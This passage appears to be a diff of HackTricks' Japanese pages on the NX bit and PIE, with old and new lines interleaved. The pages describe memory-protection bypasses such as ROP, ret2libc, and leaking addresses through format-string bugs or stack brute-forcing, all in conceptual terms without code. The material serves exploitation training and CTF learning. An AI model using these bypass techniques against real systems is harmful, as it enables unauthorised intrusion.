Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする**
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}
## 基本情報 ## 基本情報
**No-Execute (NX)** ビット、またはインテル用語での **Execute Disable (XD)** は、**バッファオーバーフロー**攻撃の影響を**緩和**するために設計されたハードウェアベースのセキュリティ機能です。実装および有効化された場合、**実行可能コード**用と**データ**用(例:**スタック**および**ヒープ**)に意図されたメモリ領域を区別します。主なアイデアは、悪意のあるコードをスタックなどに配置し、実行フローをそれに向けることで、バッファオーバーフローの脆弱性を介して悪意のあるコードを実行する攻撃者を防ぐことです。 **No-Execute (NX)** ビットは、Intel用語で**Execute Disable (XD)**としても知られ、**バッファオーバーフロー**攻撃の影響を**軽減**するために設計されたハードウェアベースのセキュリティ機能です。実装され有効化されると、**実行可能コード**用のメモリ領域と、**スタック**や**ヒープ**などの**データ**用のメモリ領域を区別します。基本的なアイデアは、攻撃者がバッファオーバーフローの脆弱性を通じて悪意のあるコードを実行するのを防ぐことです。例えば、悪意のあるコードをスタックに置き、実行フローをそれに向けることを防ぎます。
## バイパス ## バイパス
* [**ROP**](../stack-overflow/rop-return-oriented-programing.md)などの技術を使用して、バイナリ内に既に存在する実行可能コードのチャンクを実行することで、この保護をバイパスすることが可能です。 * [**ROP**](../stack-overflow/rop-return-oriented-programing.md)のような技術を使用して、この保護をバイパスし、バイナリ内に既に存在する実行可能コードのチャンクを実行することが可能です。
* [**Ret2libc**](../stack-overflow/ret2lib/) * [**Ret2libc**](../stack-overflow/ret2lib/)
* [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md) * [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
* **Ret2...** * **Ret2...**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする**
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}

View file

@ -1,56 +1,58 @@
# PIE # PIE
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
</details> </details>
{% endhint %}
## 基本情報 ## 基本情報
PIEとしてコンパイルされたバイナリは、**プログラムが実行されるたびに異なるメモリ位置にロード**できることを意味し、ハードコードされたアドレスを防ぎます。 PIEとしてコンパイルされたバイナリ、または**位置独立実行可能ファイル**は、**プログラムが実行されるたびに異なるメモリ位置にロードされる**ことを意味し、ハードコーディングされたアドレスを防ぎます。
これらのバイナリを悪用するトリックは、**相対アドレス**を悪用することにあります。プログラムの部分間のオフセットは、絶対位置が変わっても同じままです。**PIEをバイパスするには、通常はスタックからのリークを使用して**アドレスを1つ漏洩させるだけで十分です。アドレスを取得すると、**固定オフセット**によって他のアドレスを計算できます。 これらのバイナリを悪用するトリックは、**相対アドレス**を悪用することにあります。プログラムの部分間のオフセットは、絶対位置が変わっても同じままです。**PIEをバイパスするには、1つのアドレスを漏洩させるだけで済みます**。通常は、フォーマットストリング攻撃のような脆弱性を使用して**スタック**から取得します。アドレスを取得すると、**固定オフセット**を使って他のアドレスを計算できます。
PIEバイナリを悪用する際の役立つヒントは、**基本アドレスが通常000で終わる**ことです。これは、メモリページがランダム化の単位であり、0x1000バイトのサイズであるためです。この整列は、正しい基本アドレスが特定されたかどうかを示すため、エクスプロイトが期待どおりに機能していない場合に重要な**チェック**となります。\ PIEバイナリを悪用する際の役立つヒントは、**基本アドレスが通常000で終わる**ことです。これは、メモリページがランダム化の単位であり、サイズが0x1000バイトであるためです。このアライメントは、**エクスプロイトが期待通りに機能していない場合の重要なチェック**となり、正しい基本アドレスが特定されているかどうかを示します。\
また、エクスプロイトにこれを使用できます。アドレスが**`0x649e1024`**にあることが漏洩した場合、**基本アドレスが`0x649e1000`**であることがわかり、そこから関数や場所の**オフセットを計算**するだけです。 また、これをエクスプロイトに使用することもできます。アドレスが**`0x649e1024`**にあることが漏洩した場合、**基本アドレスは`0x649e1000`**であることがわかり、そこから関数や位置の**オフセットを計算**できます。
## バイパス ## バイパス
PIEをバイパスするには、**ロードされたバイナリのアドレスを漏洩る**必要があります。これにはいくつかのオプションがあります: PIEをバイパスするには、**ロードされたバイナリのアドレスを漏洩させる**必要があります。これにはいくつかのオプションがあります:
- **ASLRが無効になっている**場合、PIEでコンパイルされたバイナリは常に**同じアドレスにロード**されるため、**PIEは無意味**になります。オブジェクトのアドレスは常に同じ場所になります。 * **ASLRを無効にする**ASLRが無効になっている場合、PIEでコンパイルされたバイナリは常に**同じアドレスにロードされます**。したがって、**PIEは無意味になります**。オブジェクトのアドレスは常に同じ場所にあります。
- リークが**与えられる**簡単なCTFチャレンジで一般的、[**この例をチェック**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit) * 漏洩を**与えられる**簡単なCTFチャレンジで一般的、[**この例を確認**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)
- スタック内の正しい値を漏洩するまで、スタック内のEBPおよびEIP値を**ブルートフォース**する: * スタック内の**EBPおよびEIP値をブルートフォース**して、正しいものを漏洩させる:
{% content-ref url="bypassing-canary-and-pie.md" %} {% content-ref url="bypassing-canary-and-pie.md" %}
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md) [bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
{% endcontent-ref %} {% endcontent-ref %}
- [**フォーマット文字列**](../../format-strings/)などの任意の読み取り脆弱性を使用して、バイナリのアドレスを漏洩させる(たとえば、前述のテクニックと同様にスタックから)バイナリのベースを取得し、そこからオフセットを使用します。[**こちらで例を見つける**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。 * [**フォーマットストリング**](../../format-strings/)のような任意の読み取り脆弱性を使用して、バイナリのアドレスを漏洩させ(例:前の技術のようにスタックから)、バイナリの基本を取得し、そこからオフセットを使用します。[**ここに例を見つけてください**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。
## 参考文献 ## 参考文献
- [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) * [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
</details> </details>
{% endhint %}

Some files were not shown because too many files have changed in this diff Show more